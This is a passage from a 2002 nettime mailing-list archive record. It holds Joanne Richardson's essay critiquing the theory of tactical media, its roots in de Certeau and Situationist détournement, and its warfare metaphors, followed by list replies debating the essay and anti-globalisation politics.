mind;\nthey subverted them not by rejecting or altering them, but by using them\nwith respect to ends and references foreign to the system they had no\nchoice but to accept.\u0094 The apparently submissive kneel, bow down, put\ntheir hands together in prayer, but they don\u0092t believe the words; when\nthey mouth them they secretly mean something that was not intended by the\noriginal producers. The strength of their \u0091resistance\u0092 is in their silent\ninterpretations of these rituals, not in their transformation.\n\nMaybe the most interesting thing about the theory of tactical media is the\nextent to which it abandons rather than pays homage to de Certeau, making\ntactics not a silent production by reading signs without changing them,\nbut outlining the way in which active production can become tactical in\ncontrast to strategic, mainstream media.  The examples of tactical media\nhave almost become canonical by now: billboard pirating by Adbusters,\nplagiarized websites by the Italian hackers, 0100101110101101.org,\nRTMark\u0092s mock websites for G.W. Bush and the World Trade Organization, and\n(as theYes Men) their impersonations of WTO representatives to deliver\nmessages that don\u0092t challenge the WTO\u0092s position but over-identify with it\nto the point of absurdity. In contrast to mainstream media, tactical\ninterventions don\u0092t occupy a stable ideological place from which they put\nforward counter-arguments; they speak in tongues, offering temporary\nrevelations. But while shifting the emphasis from the consumption of signs\nto an active form of media production, the theory of tactical media seems\nto have lost some of the original contours of de Certeau\u0092s distinction.\nThe tactical media universe as mapped by David Garcia and Geert Lovink\nin \u0091The ABC of Tactical Media\u0092 also included \u0091alternative\u0092 media, although\nits logic seems quite different. Grassroots initiatives which are focused\non building a community around other values than the mainstream, do occupy\nan ideological place that is marked as different; they don\u0092t infiltrate\nthe mainstream in order to pirate or detourn it, as RTMark might\ninfiltrate the media image of the WTO.\n\nAnd especially in the recent transformation of alternative media into the\nglobal Indymedia network, the separation between Indymedias\u0092 alternative\nvoice and the mainstream enemy is quite evident. Indymedia critique the\npretensions of mass media to be a true, genuine, democratic form of\nrepresentation; it opposes the false media shell with counter-statements\nmade from a counter-perspective \u0096 a perspective that is not questioned\nbecause it is assumed as natural. My Italian friends who work with\nIndymedia showed me a video they co-produced about the anti-globalization\ndemonstrations in Prague and asked what I thought. I replied that it was a\ngood piece of propaganda, but as propaganda it never examined its own\nposition. In this video you see a lot of activists who came to Prague from\nAmerica, UK, Netherlands, France, Spain, Italy, etc; occasionally you even\nget ossified Leninist bullshit from members of communist parties. What you\nreally don\u0092t get is any reflection of the local Czech context \u0096 many\nlocals denounced what they saw as attempt to playact a revolution by\nforeigners who invoked slogans from an ideology the Czechs themselves\nconsidered long obsolete. The confrontation of these different\nperspectives is absent from the video, since it is meant to promote\nIndymedia\u0092s own anarcho-communist position, raised to the level of a\nuniversal truth. And in this sense it was as strategic and dogmatic as\nmainstream media; it was only the content of its message that differed.\n\nDe Certeau was a child of his time, maybe as a former Jesuit he was more\ntimid and better behaved than his siblings, but he played with the same\nconceptual toys. In its historical moment tactics was an important idea\nthat sought to define a way of subverting the information spectacle that\nwould avoid using the same tools (strategies) against its opponent.\nTactics recycled the Situationist idea of detournement: taking over the\nimages and words from the mass spectacle, but putting them through an\nunexpected detour, using them in a way they were not originally intended\nby combining them in surprising combinations, heretical juxtapositions.\nThe Lettrists kidnapped a priest, and, dressed in his gown, gave a sermon\nat the Notre Dame on the death of god; the SI altered the soundtracks of\nkarate and porn films to reflect the struggle against bureaucracy; even\nstriking workers during May \u009268 stole the media image of James Bond with a\ngun for a poster announcing themselves as the new specter haunting the\nworld.  These were neither art nor political speech; their disruptive\npower was that they did not use the familiar, straightforward language of\npolitics.  Their wit and lack of directness was a measure of their\nsuccess; the danger always lurking in the background was that this new\nmode of production through theft and infiltration of public spaces,\nincluding the media, could ultimately be used to deliver the same kind of\nblunt, inflexible propaganda as the media spectacle. As a practice,\ndetournement reflected a contradiction between the recognition that\nfighting on the same terrain as the enemy is a seductive but inevitable\ntrap, and the desire to occupy the buildings of power under a new name.\nThis contradiction crystallized in the hijacking metaphor: detourne was a\nverb commonly used to describe the hijacking of a plane.\n\nThe SI played upon this connotation, announcing their own productions as\nhijackings \u0096 of films, of politics, of quotidian desires. The terrorist as\na symbolic equivalent of the subversion of power was never far in the\nbackground of associations. And in an almost straight line stretching\nacross the precipice of history, aesthetic terrorism continues to be\ninvoked as an honorific title.  Etoy advertise themselves as \u0091digital\nterrorism\u0092; in an interview, Mark Dery called CAE a \u0091philosophical\nterrorist cell\u0092 and made comparisons to the Red Brigades; RTMark is often\ncongratulated for its brand of \u0091media terrorism.\u0092 Now it could be lamented\nthat an unfortunate metaphor is being applied to practices that are very\ndifferent \u0096 but in what sense is the affinity only a matter of metaphor?\nTerrorism is a way that the weak, lacking the strength in numbers and\npolitical influence, can try to make use of the strong by infiltrating\ntheir places of power, in the hope that the temporary seizure of a key\nbuilding, an airplane, or a politician might shift the balance of things\nand bring power to the bargaining table. Ever since terrorism abandoned\nthe tradition of tyrannicide and became a form of propaganda of the deed,\nit operated through a hijack of the media. Letters to the press,\ncommuniqu\u00e9s: 5 minutes under the opaque illumination of the media\nspotlight. The terrorist use of media hijacks is the point where tactical\nmedia and strategy meet \u0096 it may be a surprise infiltration rather than a\ndirect attack, but an infiltration with a clear sense of separation\nbetween its own position and that of the enemy, an infiltration that\nultimately mirrors the political organization, juridical system and mode\nof expression of the power it opposes. The Red Brigades\u0092 hierarchy of\nbrigades, columns, national branches, and an executive committee was a\ndouble of the centralist organization of the state; the Weather\nUnderground\u0092s counter-institution of \u0091proletarian\u0092 justice mimicked the\nobscenity of the law in reverse: \u0093We now find the government guilty and\nsentence it to death on the streets.\u0094 And today\u0092s fundamentalist terrorism\nis a mirror of the network society of a stateless, global capitalism.\nWestern educated bin Laden militants don\u0092t belong to any specific country;\nthey travel the globe from Bosnia to Paris and New York, use the internet\nand cellular phones, and have access to communication networks even in a\ndesert cave.\n\nAsking how media can be used tactically today implies a recognition of the\ncontradictory history in which the idea was born \u0096 the moment of crisis\nwhen new social forces rendered old categories obsolete, and Marxism began\nto reveal itself as a bankrupt system in which capitalism found not its\nabolition but its supreme fulfillment. But alongside new ideas and the\nsearch for a new language, lingered old modes of organization dating back\nto the Jacobin terror, and the mythic image of the armed, militant hero.\nTactics sought to express a new way that the weak could fight against\npower by using different tools - but in the old language of military\nengagement. Before de Certeau, the distinction between tactics and\nstrategy was invoked by Clausewitz in 1812. Tactics is the manner of\nconducting each separate combat; strategy is the means of combining\nindividual combats to attain the general objective of the war. Tactics is\nthe deployment of individual parts, strategy, the overview of the whole.\nThis is a very different distinction from de Certeau\u0092s opposition between\nmodes of combat; de Certeau\u0092s tactics is actually closer to what\nClausewitz called strategem \u0096 a concealed, indirect movement which doesn\u0092t\nactually deceive but provokes the enemy to commit errors of understanding.\nThis is analogous to what Sun Tzu termed a \u0091war of maneuver\u0092 \u0096 an artifice\nof diversion undertaken by weak forces against a large, well-organized\nopponent, an unexpected move that entices the enemy, leading him to make\nmistakes, and eventually self-destruct.\n\nWhether direct or concealed, offensive or defensive, using the strength of\nnumbers or the artifice of diversion, both strategy and tactics belong to\nthe art of warfare and have the same objectives: conquering the armed\npower of the enemy, taking possession of his goods and other sources of\nstrength, and gaining public opinion by destroying the enemy\u0092s\ncredibility.  And perhaps this is the limitation of a media theory based\non a distinction between tactics and strategies - ultimately both are a\nform of war against an enemy power. The tactics of media hacks may differ\nfrom the strategy of independent, alternative media in their formal\naspects, but what seems common to both is their self-definition through an\nact of opposition. A fake GWBush page cannot exist without the authentic\none, which it parodies. Indymedia cannot exist without global capital,\nwhose abuses it chronicles, or without mainstream media, whose\nfalsifications it denounces.  The mainstream spectacle also needs an\nembodiment of opposition to the universal values of democracy, enlightened\nhumanitarianism, and the right to consume without restraint. And after the\ncollapse of the other of \u0091Eastern Europe,\u0092 the image of the terrorist is\nnow the perfect media fantasy, the face against which it can define its\nown values in reverse.\n\nThis reflection was occasioned by my editorial participation in the 4th\nNext 5 Minutes Festival; it\u0092s an attempt to think about its content, which\nproposes an investigation of the meaning of tactical media in the wake of\nSeptember 11, and its decentralized organizational structure, which will\ntransform it into a series of dispersed but linked events, each focused on\ndifferent local issues. If as David Garcia admits, the idea of tactical\nmedia grew out of a specifically Amsterdam context (or perhaps in a wider\nsense, the liberal democratic context of the countries of advanced\ncapitalism), it is commendable that N5M4 is attempting to transcend its\norigins and include initiatives that were previously left out of what\nseemed to be a primarily \u0091western\u0092 idea of tactical media. The editorial\nteam for N5M4 includes media tacticians like CAE, members of the Indymedia\nnetwork, media centers in post-socialist countries which provide\ninfrastructural support and access and education to local producers, and\nEuropean organizations which provide ICT assistance to groups in Mali,\nGhana, Tanzania, Uganda, Zambia, Jamaica, and Bolivia. Under the expanded\ncover concept of tactical media are included what appear to be both\ntactical and strategic media, as well phenomena that differ from both\ninsofar as they are not forms of warfare - initiatives to provide\ninfrastructure, improved access, means of communication and exchange to\npeople who for economic and political reasons are lacking these means.\nThese modes of production and exchange are not primarily constituted by\nbeing directed against an enemy; the content is not determined in advance\nthrough a preconceived opposition, but left to be shaped by its producers.\nNow to my mind, labeling all these diverse practices forms of \u0091tactical\nmedia\u0092 risks missing precisely their differences and making the term\nmeaningless. This loss of signification seems to correspond, in inverse\nproportion, to the recent inflation of \u0091tactical media\u0092 as a cool label on\nthe market of ideas. Instead of analyzing concretely what is inherent in\ndifferent forms of media production and the ideologies they shelter and\npreserve, the term papers over their contradictions. Tactical media is\ngood, progressive, alternative, etc. There is no need to ask questions,\nits truth already appears self-evident.\n\nAfter making some extremely arrogant, offensive films of Maoist propaganda\nduring the early 1970s, Godard became embarrassed. And started making\nfilms that had nothing to say. Here & Elsewhere \u0096 we went to Palestine a\nfew years ago, Godard says. To make a film about the coming revolution.\nBut who is this we, here? Why did we go there, elsewhere? And why don\u0092t\nhere and elsewhere ever really meet? What do we mean when we use this\nstrange word \u0091revolution\u0092?  It is only when he was old that Godard learned\nhow to ask questions, stumbling around like a foreigner in a language and\na history he did not possess. Here & Elsewhere, which came out in the same\nyear as de Certeau\u0092s book, occupies no fixed position, moves towards no\npreconceived destination, and takes nothing for granted, not even its own\nvoice. In an era dominated by a politics of the message (statements,\ndeclarations of war, communiqu\u00e9s, demands in the form of new five year\nplans), it searches for a politics of the question.\n\nThe idea of tactical media is the harbinger of a question both necessary\nand timely: how is it possible to make media otherwise, media that\nexpresses its solidarity with the humiliated thoughts and incomprehensible\ndesires of those who seem doomed to silence, media that does not mirror\nthe strategic power of the mainstream by lapsing into a self-certain\npropaganda identical to itself and blind to its own history. But the\nlanguage of tactical media simultaneously imprisons the idea of a\ndifferent type of media production inside a theory of warfare, as a media\nof opposition, defined in relation to its enemy.  While it is necessary to\ncontinue asking the question and experimenting with models of media\nproduction that work in situations of crisis and adversity, it is also\nimportant to know when to change terrain. As wars rage around us - wars\nthat rationalize the trafficking in merchandise under the shadow of\nsublime principles, wars against terrorism, wars against drugs, wars of\ninformation against information - maybe what we need least is to advertise\nour practice as an extension of one or another principle of warfare. When\nasked to take sides, for or against, siding with one army or the other,\nsometimes the only real answer is not to play the game. This refusal\nshould not be confused with an exodus, a silent passivity, or a patient\nresignation. It is the vigilance of continuing to think, beyond the\nobvious - of a third, a fourth, or fifth alternative to the apocalyptic or\nutopian sense of the media.\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "to": "<nettime-l {AT} bbs.thing.net>",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0207/msg00013.html",
                "list": "nettime_l",
                "author_name": "joanne richardson",
                "subject": "<nettime> the language of tactical media",
                "from": "joanne richardson <subsol {AT} mi2.hr>",
                "follow-up": [
                    {
                        "from": "\"McKenzie Wark\" <mckenziewark {AT} hotmail.com>",
                        "content": "\n\n[from] Tactical Media and Tactical Knowledge\nMcKenzie Wark\n\n\nGeert Lovink and David Garcia speak of a tactical media that\nmight free itself from the dialectic of being an alternative or\nan opposition, which merely reproduces the sterile sense of a\nWedom versus a Theydom in the media sphere.  They claim\nthat the \"identity politics, media critiques and theories of\nrepresentation\" that were the foundation of oppositional\nmedia practices \"are themselves in crisis.\" They propose\ninstead an \"existential aesthetic\" based on the temporary\n\"creation of spaces, channels and platforms\". Lovink and\nGarcia's seminal text on tactical media doesn't entirely succeed\nin extracting itself from the oppositional language of Wedom\nversus Theydom, but it points towards an alterative strategy\nto the negation that paradoxically unites Osama Bin Laden,\nGeorge W Bush and the writers of The Nation as purveyors,\nnot of the same world view, but of world views constructed\nthe same way. It is a question of combining tactical media\nwith a tactical knowledge, of using the extensive vector of\nthe media in combination with the intensive vector of the\nscholarly archive.\n\nIn a nominally democratic country, one acts as part of a public\nsphere in the sense Alexander Kluge give to the term.   A\npublic sphere \u0097 a matrix of accessible vectors \u0097 acts as a\npoint of exchange between private experience and public life;\nbetween intimate, incommunicable experience and collective\nperception. Public networks are arenas where the struggle to\ncommunicate takes place. Two aspects of this concept are\nrelevant here. For Kluge, writing in post war Germany, the\nproblem revolves around the historic failure in 1933 of the\npublic sphere to prevent the rise of fascism. \"Since 1933 we\nhave been waging a war that has not stopped. It is always\nthe same theme \u0097 the noncorrelation of intimacy and public\nlife \u0097 and the same question: how can I communicate strong\nemotions to build a common life?\"  For Kluge, the public\nsphere is a fundamentally problematic domain, caught\nbetween the complexities of the social and the increasing\nseparation of private life.\n\nOne has to ask: for whom does Kluge imagine he speaks?\nPerhaps there are other experiences of the relation between\nthe time of intimate experience and the time of the public\nsphere, buried out there in popular culture. Perhaps it is only\nintellectuals who feel so estranged from the time of\ninformation in the era of telesthesia. After all, the mode of\naddress adopted by most popular media doesn't speak to a\nhighly cultured intellectual like Kluge \u0097 or even a provincial\none like me. We were trained in slower ways of handling\ninformation, and have a repertoire of quite different stories\nwith which to filter present events. How could we claim to\nknow what goes on out there in the other interzones, in quite\nother spaces where different flows from different vectors\nmeet quite other memories and experiences of everyday life?\nAfter all, we intellectuals keep finding more than enough\ndifferences amongst ourselves.\n\nA tactical knowledge of media may have among its merits the\nfact that it takes these other interzones seriously. It tries to\ntheorize the frictions between Kluge's intimate experience and\nthe network of vectors, or it actually tries to collect and\ninterpret accounts of such experiences.  It is necessary to at\nleast attempt to maintain a self-critical relation to the codes\nand practices of the interzone specific to intellectual media\nexperiences. After all, 'our' training, 'our' prejudices in\nrelation to the vector might be part of the problem. Nothing\nexempts 'our' institutions and interests from the war of the\nvector, the struggle to control the trajectories of information.\n\nWith the spread of the vector into the private realm, a\nwindow opens that might be used to create a line along\nwhich the communication of intimate experience and collective\nfeeling might take place, in those eventful moments when\ntheir separation collapses. The protocols of tactical media are\nnot given in advance. As Gilles Deleuze says: \"Experiment,\nnever interpret.\"  What is at stake is not the recreation of the\npublic grounds for a universal reason, but finding the tactical\nresources for a far more differentiated and diverse struggle\nto communicate, that simple thing so hard to achieve.\n\nThe maintenance of democracy requires a practice within the\npublic networks for responding to events that it was never\nquite designed to handle. Virilio asks whether democracy is\nstill possible in this era of what he calls 'chronopolitics'.\nPerhaps democracy succumbs to 'dromocracy' \u0097 the power\nof the people ploughed under by the power to technological\nspeed.  Well perhaps, but the only way to forestall such\npessimism is to experiment with tactics for knowing and\nacting in the face of events. One has to experiment with\nrelatively freely available conceptual tools and practices and\nbase a democratic knowledge on them. This may involve\nmoving beyond the techniques and procedures of the\nacademy. In Antonio Gramsci's terms, the academic\nintellectual risks becoming merely a traditional intellectual, one\nof many layers of cultural sediment, deposited and passed\nover by the engine capital and the trajectory of the vector,\ncaught up in a temporality that is not even dialectically\nresistant, but is merely residual. One has to make organic\nconnections with the leading media and cultural practices of\nthe day.\n\nNevertheless, the historic memory and living tissue of\nscholarship stores resources that are useful and vital. In\nstudying an event like September 11, a tactical knowledge can\nbuild on the best of two existing critical approaches. To the\nschools that concentrate on the structural power of\ntransnational capital flows and military coercion it adds a\nclose attention to the power of transgressive media vectors\nand the specific features of the events they generate. To the\nschools that study the space of the media text in the context\nof periodic struggles for influence with the national-popular\ndiscourse it adds an international dimension and a closer\nattention to the changing technical means that produce\ninformation flows. The event is a phenomena a little too\nslippery for either of these approaches. Hence the need to\nexamine it in a new light, as the chance encounter of the local\nconjuncture with the global vector \u0097 on the operating table.\n\nThe chance encounter of Osama Bin Laden with CNN, like\nthe meeting of the umbrella with the sewing machine, has a\nsurreal, 'surgical' logic specific to it. It is not entirely reducible\nto the long term temporalities of capital or military power and\nlies in the spaces between national-popular discourses.\nWriting the vector is not really something that can be\npractices with the tools of the Herbert Schiller school of\npolitical economy or the Stuart Hall school of cultural studies,\nalone, although a tactical knowledge might owes something\nto both.  A tactical intellectual practice that uses the moment\nof the event to cross the divide between infrastructural and\nsuperstructural time.\n\nThe event is not reducible to the methods of the 'areas\nspecialists'. When studying events from the point of view of\nthe site at which the originate, they always remain the\nprovince of specialists who deal with that particular turf.\nEvents often generate valuable responses from area\nspecialists, but these usually focus on the economic, political or\ncultural factors at work in the area the specialists know first\nhand. They do not often analyze the vectoral trajectories via\nwhich the rest of the world views the event. A tactical\nknowledge borrows from area studies without being caught\nwithin its territorial prerogatives.\n\nIn an age when transnational media flows are running across\nall those academic specialties, perhaps it is time to construct a\ndiscourse that follows the flow of information (and power)\nacross both the geographic and conceptual borders of\ndiscourse. Perhaps it is time to start experimenting, as Kluge\nhas done, with modes of disseminating critical information in\nthe vector field. Perhaps it is time to examine intellectual\npractices of storing, retrieving and circulating knowledge.\nWithout wishing to return to the practice of the 'general\nintellectual', it may be worth considering whether the\ndevelopment of the vector calls for new ways for playing the\nrole of the tactical intellectual.  The tactical intellectual would\ncombine the practices of tactical media and tactical\nscholarship, while being careful not to fall into the temporality\nof either journalism or the academy, but rather remain alert\nto the moments in which such distinct times are brought into\ncrisis by the time of the event.\n\n\n\n\n\n\n___________________________________________________\n\nhttp://subsol.c3.hu/subsol_2/contributors0/warktext.html\n                   ... we no longer have roots, we have aerials ...\n___________________________________________________\n\n\n_________________________________________________________________\nMSN Photos is the easiest way to share and print your photos: \nhttp://photos.msn.com/support/worldwide.aspx\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00017",
                        "date": "Wed, 03 Jul 2002 17:16:33 -0400",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200207041210.IAA01221 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0207/msg00017.html",
                        "content-type": "text/plai",
                        "author_name": "McKenzie Wark",
                        "subject": "Re: <nettime> the language of tactical media"
                    },
                    {
                        "from": "\"Michael Benson\" <michael.benson {AT} pristop.si>",
                        "content": "\nJoanne:\n\nReading your text on tactical media reminds me of the experience of seeing\na group of Ljubljana skinheads aggressively singing the words to the\nSlovenian national anthem the other day. One would think that the effect\nwould be nationalistic, which is what they intended, but the lyrics kept\non tripping them up -- only they themselves didn't know it. (The words\ncall for equality and peace among nations) So in the skinhead's case,\nthere was a kind of inadvertent monkeywrenching or Adbuster-style action,\nbut one where the subversion which crept into the mix was there to begin\nwith: it was only the context of the racist nationalists singing it that\ngave it a nice reversal only apparent to an outside observer. And so what\nwas meant to be menacing was actually funny, its racist/nationalist\ndelivery subverted not by its subtext but by its text. It was the song\nthat detourned the singers.\n\nIn your case, what was meant to read as incisive analysis, couched in a\nhard-edged, dispassionate variant of the academese everyone's familiar\nwith, is a kind of fog concealing exactly what you inaccurately accuse\nGodard of: it has \"nothing to say\" -- beyond its citations. If there's any\nkind of revelation in this post it's in your uneasy fascination with\nGodard's film about the Palestinian cause. (Right -- the same one I got to\nrefamiliarize myself with because you lent me a tape of it when you were\nin Ljubljana. For the record.) \"Here & Elsewhere\" doesn't have nothing to\nsay -- rather it's the only film document I know of that accurately\nconveys the complexity of the Palestinian/Israeli disaster, for which\nthere are exactly no easy answers, and maybe no answers at all. But when I\naccuse you of having nothing to say it's also not quite right, because\nthere's something fascinating about the coexistence of your ambivalent\nobservations about his film with your other observations, all of which\nlead to a conclusion in which fellow travelers are advised to drop the\nmetaphors of warfare, something (we're told) that's not a cop-out but\ninstead shows \"the vigilance of continuing to think, beyond the\nobvious...\" Are we beyond the obvious here? Didn't \"Here & Elsewhere\"\nalready signpost an alternative to what you call the apocalyptic vs.\nutopian \"sense\" of the media, 30 years ago? Isn't that, more than\napproximately, the very voice of Godard's film I detect, rising like a\nstale but at least believable truth in your conclusion? I detect \"nothing\nto say\" in your post beyond what you inherited from those you'd accuse of\nthe same.\n\nRegards, MB\n\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00018",
                        "date": "Thu, 4 Jul 2002 17:34:22 +0200",
                        "to": "<nettime-l {AT} bbs.thing.net>",
                        "message-id": "200207042310.TAA15484 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0207/msg00018.html",
                        "content-type": "text/plai",
                        "author_name": "Michael Benson",
                        "subject": "Re: <nettime> the language of tactical media"
                    },
                    {
                        "from": "\"David Goldschmidt\" <dgoldsch {AT} tampabay.rr.com>",
                        "content": "\nMichael-\n\nClearly you profess to have an intimate understanding of JoAnne's motives,\nconclusions.  But, IMO, you only provide me with more evidence that the\ninherently paranoid only see the ulterior motive.  If your not paranoid\nthen you are under the delusion that your previous interactions with her\nhave given you the insight to critique her for now, and forever.  All I\ncan do is applaud her.  I hope she ignores you, Michael.  She is the\nauthor ... you are nothing but a critic.  She took her time to deliver a\ndispassionate and eloquent arguement (with proper citations) that was very\nenlighening (especailly for those of us who think the anti-globalisation\nfolks are full of shit and just looking for a fight).  And you, as a\nsimpleton, rebuff her out-of-hand.  You think you're so clever with your\ninsider information ... but you're not ... you either missed (or ignored)\nthe big picture.\n\nAs a very liberal democrat, I keep waiting for the anti-globalisation\nfreaks to offer an alternative to the status quo ... but you never do.  \nIf they ever offered the first first idea on how to \"better\" govern then I\nwould be their greatest champion ... but all I ever see is criticizism.\n\nIt may not mean much ...but I would like to thank JoAnne.  The perspective\nshe presented may have been \"obvious\" to Michael but it was new to me.\n\ndavid goldschmidt\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00023",
                        "date": "Thu, 4 Jul 2002 23:41:08 -0400",
                        "to": "<nettime-l {AT} bbs.thing.net>",
                        "message-id": "200207051821.OAA07631 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0207/msg00023.html",
                        "content-type": "text/plai",
                        "author_name": "David Goldschmidt",
                        "subject": "Re: <nettime> the language of tactical media"
                    },
                    {
                        "from": "Morlock Elloi <morlockelloi {AT} yahoo.com>",
                        "content": "\n> As a very liberal democrat, I keep waiting for the anti-globalisation\n> freaks to offer an alternative to the status quo ... but you never do.  \n> If they ever offered the first first idea on how to \"better\" govern then I\n> would be their greatest champion ... but all I ever see is criticizism.\n\nNorman Mailer in 1962 interview:\n\n\nThere's something pompous about people who join peace movements, SANE,\nand so forth. They're the radical equivalent to working for the FBI. You\nsee, nobody can criticize you. You're doing God's work, you're clean.\nHow can anyone object to anybody who works for SANE or is for banning\nthe bomb?\n\n- You're not questioning their motives, are you?\n\nI am questioning their motives. I think there's something doubtful about\nthese people. I don't trust them. I think they're totalitarian in\nspirit. Now, of course I'm certainly not saying they're Communist, and\nthey most obviously are not Fascists, but there are new kinds of\ntotalitarians. A most numerous number since World War II.\n\n\n=====\nend\n(of original message)\n\nY-a*h*o-o (yes, they scan for this) spam follows:\n\n__________________________________________________\nDo You Yahoo!?\nSign up for SBC Yahoo! Dial - First Month Free\nhttp://sbc.yahoo.com\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00032",
                        "date": "Fri, 5 Jul 2002 14:13:49 -0700 (PDT)",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200207061922.PAA10638 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0207/msg00032.html",
                        "content-type": "text/plai",
                        "author_name": "Morlock Elloi",
                        "subject": "Re: <nettime> the language of tactical media"
                    },
                    {
                        "from": "proff {AT} iq.org (Julian Assange)",
                        "content": "\n> would be their greatest champion ... but all I ever see is criticizism.\n\nNature is life's greatist critic. Yet through nothing more than its\nrelentless takedowns it has created man.\n\n--\n Julian Assange        |If you want to build a ship, don't drum up people\n                       |together to collect wood or assign them tasks and\n proff {AT} iq.org          |work, but rather teach them to long for the endless\n proff {AT} gnu.ai.mit.edu  |immensity of the sea. -- Antoine de Saint Exupery\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00039",
                        "date": "Sat, 6 Jul 2002 14:33:26 +1000 (EST)",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200207070339.XAA22349 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0207/msg00039.html",
                        "content-type": "text/plai",
                        "author_name": "Julian Assange",
                        "subject": "Re: <nettime> the language of tactical media"
                    },
                    {
                        "from": "joanne richardson <subsol {AT} mi2.hr>",
                        "content": "\nDear Michael,\n\nWow, it's not every day I get compared to a Slovenian skinhead\naggressively singing a dispassionate anthem. I find it hard to reply since\nyou're right: I have nothing to say, offer no original ideas or\nconclusions about what is to be done, and only cite a few names and ask a\nfew questions - about some things I think are often passed over in\nsilence.\n\n> Are we beyond the obvious here? Didn't \"Here & Elsewhere\"\n> already signpost an alternative to what you call the apocalyptic vs.\n> utopian \"sense\" of the media, 30 years ago?\n\nWell, yes, that was the reason I used the example. Your reply seems based\non a misunderstanding that I'm \"accusing\" Godard of having nothing to say.\nWhen I said that Godard became embarrassed about his past and started\nmaking films that had \"nothing to say\" I was at least ironic, and at best\nserious. Apologies for not being obvious and straightforward enough, and\nat the same time too academic. The contrast was between having something\nto say  --  in the sense of making absolutely declarative statements like the\none's we're familiar with from the history of manifestoes - and telling a\nhistory by way of asking questions. So I am neither ambivalent nor\nuneasily fascinated by H&E, and I would agree with you that the film is\none of the better examples of conveying the complexity of the\nPalestinian/Israeli disaster, maybe because it asks a lot of na\u010fve\nquestions, presents contradictory perspectives on the event, and instead\nof offering easy answers, leaves it up to others to draw inferences and\nconclusions. The contrast was also meant to suggest that it is maybe too\neasy to criticize something like the 'anti-globalization' movement for\nbeing merely negative and lacking any positive demands. It's not just a\nquestion of having something to say, but how you say it, how convinced you\nare of the correctness of your theory, who participates in it, how open it\nis to criticism and recognizing its contradictions, and probably a lot of\nother things which can't be listed in advance.\n\nCiao,\nJoanne\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00045",
                        "date": "Sun, 7 Jul 2002 10:21:40 +0200 (MEST)",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200207071810.OAA10594 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0207/msg00045.html",
                        "content-type": "text/plai",
                        "author_name": "joanne richardson",
                        "subject": "Re: <nettime> the language of tactical media"
                    },
                    {
                        "from": "Benjamin Geer <benjamin.geer {AT} attac.org.uk>",
                        "content": "\nOn Friday 05 July 2002 10:13 pm, Morlock Elloi wrote:\n> [someone else] wrote:\n> > As a very liberal democrat, I keep waiting for the anti-globalisation\n> > freaks to offer an alternative to the status quo ... but you never do.\n> > If they ever offered the first first idea on how to \"better\" govern then\n> > I would be their greatest champion ... but all I ever see is criticizism.\n\nMichael Albert, editor of ZNet (http://www.znet.org), has what I think is a\nvery sensible proposal called `Participatory Economics', about how regional\neconomies could be run on the basis of participatory democracy.  He's written\ntwo or three books about it:\n\nhttp://www.parecon.org\n\nBen\n\n\n\n________________________________________________________________________\nThis email has been scanned for all viruses by the MessageLabs SkyScan\nservice. For more information on a proactive anti-virus service working\naround the clock, around the globe, visit http://www.messagelabs.com\n________________________________________________________________________\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00056",
                        "date": "Mon, 8 Jul 2002 10:02:18 +0100",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200207081634.MAA09955 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0207/msg00056.html",
                        "content-type": "text/plai",
                        "author_name": "Benjamin Geer",
                        "subject": "Fwd: Re: <nettime> the language of tactical media"
                    },
                    {
